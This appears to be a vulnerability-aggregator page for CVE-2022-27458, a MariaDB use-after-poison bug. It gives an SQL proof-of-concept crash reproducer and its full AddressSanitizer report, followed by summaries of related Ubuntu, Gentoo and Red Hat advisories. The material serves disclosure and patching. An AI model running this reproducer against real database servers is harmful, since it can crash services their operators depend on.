CVE-2022-27458: [MDEV-28099] MariaDB UAP issue - Jira

#sql #linux #jira

PoC:

CREATE TABLE v0 ( v1 INT UNIQUE PRIMARY KEY ) ;

DROP EVENT IF EXISTS v0 ;

UPDATE v0 SET v1 = -1 WHERE v1 = ‘x’ ORDER BY ‘x’ DESC LIMIT 93 ;

ALTER TABLE v0 ADD COLUMN ( MEMORY TINYBLOB DEFAULT ( v1 IN ( DAYNAME ( v1 ) , ‘’ , ‘x’ ‘x’ ‘x’ ) ) UNIQUE ) ;

UPDATE v0 SET v1 = NULL WHERE ( IF ( v1 AND v1 , 72 , 30 ) ) ;

INSERT IGNORE INTO v0 SET v1 = ( ‘’ ) + ( ( ‘x’ / NULL = INET_ATON ( ( v1 OR ‘x’ ) ) ) ) ;

report (compiled with ASAN):

=================================================================

==9569==ERROR: AddressSanitizer: use-after-poison on address 0x629000088404 at pc 0x0000009086a1 bp 0x7f2f01fad0d0 sp 0x7f2f01fad0c8

READ of size 1 at 0x629000088404 thread T14

#0 0x9086a0 in Binary\_string::free\_buffer() /root/mariadb/sql/sql\_string.h:224:9

#1 0x9086a0 in Binary\_string::free() /root/mariadb/sql/sql\_string.h:680:5

#2 0x9086a0 in Binary\_string::~Binary\_string() /root/mariadb/sql/sql\_string.h:271:5

#3 0x9086a0 in Arg\_comparator::~Arg\_comparator() /root/mariadb/sql/item\_cmpfunc.h:45:7

#4 0x171733a in Item\_bool\_rowready\_func2::~Item\_bool\_rowready\_func2() /root/mariadb/sql/item\_cmpfunc.h:535:7

#5 0x171733a in Item\_func\_eq::~Item\_func\_eq() /root/mariadb/sql/item\_cmpfunc.h:751:7

#6 0xaefe90 in Item::delete\_self() /root/mariadb/sql/item.h:2522:5

#7 0xaefe90 in Query\_arena::free\_items() /root/mariadb/sql/sql\_class.cc:3833:16

#8 0xaefe90 in THD::cleanup\_after\_query() /root/mariadb/sql/sql\_class.cc:2292:3

#9 0xc41ba9 in dispatch\_command(enum\_server\_command, THD\*, char\*, unsigned int, bool) /root/mariadb/sql/sql\_parse.cc:1894:7

#10 0xc4b74b in do\_command(THD\*, bool) /root/mariadb/sql/sql\_parse.cc:1402:17

#11 0x111f9f2 in do\_handle\_one\_connection(CONNECT\*, bool) /root/mariadb/sql/sql\_connect.cc:1418:11

#12 0x111f248 in handle\_one\_connection /root/mariadb/sql/sql\_connect.cc:1312:5

#13 0x1f3f9dd in pfs\_spawn\_thread /root/mariadb/storage/perfschema/pfs.cc:2201:3

#14 0x7f2f26f57608 in start\_thread /build/glibc-sMfBJT/glibc-2.31/nptl/pthread\_create.c:477:8

#15 0x7f2f26c6d162 in clone /build/glibc-sMfBJT/glibc-2.31/misc/../sysdeps/unix/sysv/linux/x86\_64/clone.S:95

0x629000088404 is located 4612 bytes inside of 16400-byte region [0x629000087200,0x62900008b210)

allocated by thread T14 here:

#0 0x80f99d in malloc (/usr/local/mysql/bin/mariadbd+0x80f99d)

#1 0x2a76878 in my\_malloc /root/mariadb/mysys/my\_malloc.c:90:29

#2 0x2a582eb in root\_alloc /root/mariadb/mysys/my\_alloc.c:66:10

#3 0x2a582eb in reset\_root\_defaults /root/mariadb/mysys/my\_alloc.c:243:30

#4 0xae83b5 in THD::init\_for\_queries() /root/mariadb/sql/sql\_class.cc:1393:3

#5 0x111e580 in prepare\_new\_connection\_state(THD\*) /root/mariadb/sql/sql\_connect.cc:1240:8

#6 0x1120266 in thd\_prepare\_connection(THD\*) /root/mariadb/sql/sql\_connect.cc:1333:3

#7 0x111f8cc in do\_handle\_one\_connection(CONNECT\*, bool) /root/mariadb/sql/sql\_connect.cc:1408:9

#8 0x111f248 in handle\_one\_connection /root/mariadb/sql/sql\_connect.cc:1312:5

#9 0x1f3f9dd in pfs\_spawn\_thread /root/mariadb/storage/perfschema/pfs.cc:2201:3

#10 0x7f2f26f57608 in start\_thread /build/glibc-sMfBJT/glibc-2.31/nptl/pthread\_create.c:477:8

Thread T14 created by T0 here:

#0 0x7f9cfc in pthread\_create (/usr/local/mysql/bin/mariadbd+0x7f9cfc)

#1 0x1f3fd39 in my\_thread\_create(unsigned long\*, pthread\_attr\_t const\*, void\* (\*)(void\*), void\*) /root/mariadb/storage/perfschema/my\_thread.h:52:10

#2 0x1f3fd39 in pfs\_spawn\_thread\_v1 /root/mariadb/storage/perfschema/pfs.cc:2252:15

#3 0x85cef4 in inline\_mysql\_thread\_create(unsigned int, unsigned long\*, pthread\_attr\_t const\*, void\* (\*)(void\*), void\*) /root/mariadb/include/mysql/psi/mysql\_thread.h:1139:11

#4 0x85cef4 in create\_thread\_to\_handle\_connection(CONNECT\*) /root/mariadb/sql/mysqld.cc:5975:19

#5 0x85e72a in create\_new\_thread(CONNECT\*) /root/mariadb/sql/mysqld.cc:6034:3

#6 0x85e72a in handle\_accepted\_socket(st\_mysql\_socket, st\_mysql\_socket) /root/mariadb/sql/mysqld.cc:6096:5

#7 0x85a34c in handle\_connections\_sockets() /root/mariadb/sql/mysqld.cc:6220:9

#8 0x84e9ef in mysqld\_main(int, char\*\*) /root/mariadb/sql/mysqld.cc:5870:3

#9 0x7f2f26b720b2 in \_\_libc\_start\_main /build/glibc-sMfBJT/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: use-after-poison /root/mariadb/sql/sql_string.h:224:9 in Binary_string::free_buffer()

Shadow bytes around the buggy address:

0x0c5280009030: 00 f7 00 00 00 f7 00 00 f7 00 00 00 00 00 00 00

0x0c5280009040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f7 00

0x0c5280009050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0x0c5280009060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0x0c5280009070: 00 00 00 00 00 00 00 00 00 00 00 00 00 f7 f7 f7

=>0x0c5280009080:[f7]f7 f7 f7 00 00 00 00 00 00 00 00 00 00 00 00

0x0c5280009090: 00 00 00 00 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7

0x0c52800090a0: f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 f7 00 00 f7 00

0x0c52800090b0: 00 f7 00 00 00 00 00 00 00 00 00 00 00 00 00 00

0x0c52800090c0: 00 00 00 00 00 00 f7 00 00 00 00 00 00 00 00 00

0x0c52800090d0: 00 00 00 00 00 00 00 f7 00 00 00 00 00 00 00 00

Shadow byte legend (one shadow byte represents 8 application bytes):

Addressable: 00

Partially addressable: 01 02 03 04 05 06 07

Heap left redzone: fa

Freed heap region: fd

Stack left redzone: f1

Stack mid redzone: f2

Stack right redzone: f3

Stack after return: f5

Stack use after scope: f8

Global redzone: f9

Global init order: f6

Poisoned by user: f7

Container overflow: fc

Array cookie: ac

Intra object redzone: bb

ASan internal: fe

Left alloca redzone: ca

Right alloca redzone: cb

Shadow gap: cc

==9569==ABORTING

Gentoo Linux Security Advisory 202405-25 - Multiple vulnerabilities have been discovered in MariaDB, the worst fo which can lead to arbitrary execution of code. Versions greater than or equal to 10.11.3:10.11 are affected.

6 months ago

Ubuntu Security Notice USN-5739-1

#sql #vulnerability #web #mac #linux

Ubuntu Security Notice 5739-1 - Several security issues were discovered in MariaDB and this update includes new upstream MariaDB versions to fix these issues. MariaDB has been updated to 10.3.37 in Ubuntu 20.04 LTS and to 10.6.11 in Ubuntu 22.04 LTS and Ubuntu 22.10. In addition to security fixes, the updated packages contain bug fixes, new features, and possibly incompatible changes.

2 years ago

Red Hat Security Advisory 2022-6443-01

#vulnerability #ubuntu

Red Hat Security Advisory 2022-6443-01 - MariaDB is a multi-user, multi-threaded SQL database server that is binary compatible with MySQL. Issues addressed include buffer overflow and use-after-free vulnerabilities.

2 years ago

RHSA-2022:6443: Red Hat Security Advisory: mariadb:10.3 security and bug fix update

#sql #vulnerability #ios #linux #red_hat #java #buffer_overflow #sap

An update for the mariadb:10.3 module is now available for Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application crash via certain SELECT ...

2 years ago

#sql #vulnerability #linux #red_hat #buffer_overflow #ibm #sap

Red Hat Security Advisory 2022-6306-01

Red Hat Security Advisory 2022-6306-01 - MariaDB is a multi-user, multi-threaded SQL database server. For all practical purposes, MariaDB is binary-compatible with MySQL. Issues addressed include buffer overflow and use-after-free vulnerabilities.

2 years ago

#sql #vulnerability #linux #red_hat #buffer_overflow #sap

RHSA-2022:6306: Red Hat Security Advisory: rh-mariadb103-galera and rh-mariadb103-mariadb security and bug fix update

An update for rh-mariadb103-galera and rh-mariadb103-mariadb is now available for Red Hat Software Collections. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application ...

2 years ago

#sql #vulnerability #red_hat #buffer_overflow #ibm #sap

RHSA-2022:5948: Red Hat Security Advisory: galera, mariadb, and mysql-selinux security, bug fix, and enhancement update

An update for galera, mariadb, and mysql-selinux is now available for Red Hat Enterprise Linux 9. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application crash via cert...

2 years ago

#sql #vulnerability #linux #red_hat #buffer_overflow #ibm #sap

RHSA-2022:5826: Red Hat Security Advisory: mariadb:10.5 security, bug fix, and enhancement update

An update for the mariadb:10.5 module is now available for Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application crash via certain SELECT ...

2 years ago

#sql #vulnerability #linux #red_hat #buffer_overflow #ibm #sap

RHSA-2022:5759: Red Hat Security Advisory: rh-mariadb105-galera and rh-mariadb105-mariadb security and bugfix update

An update for rh-mariadb105-galera and rh-mariadb105-mariadb is now available for Red Hat Software Collections. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original. Related CVEs: * CVE-2021-46659: mariadb: Crash executing query with VIEW, aggregate and subquery * CVE-2021-46661: mariadb: MariaDB allows an application crash in find_field_in_tables and find_order_in_list via an unused common table expression (CTE) * CVE-2021-46663: mariadb: MariaDB through 10.5.13 allows a ha_maria::extra application ...

2 years ago

CVE-2022-24052: Security Vulnerabilities Fixed in MariaDB

#sql #vulnerability #web #linux #red_hat #nodejs #js #java #kubernetes #aws #buffer_overflow #sap

MariaDB CONNECT Storage Engine Heap-based Buffer Overflow Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of MariaDB. Authentication is required to exploit this vulnerability. The specific flaw exists within the processing of SQL queries. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length heap-based buffer. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the service account. Was ZDI-CAN-16190.

2 years ago

CVE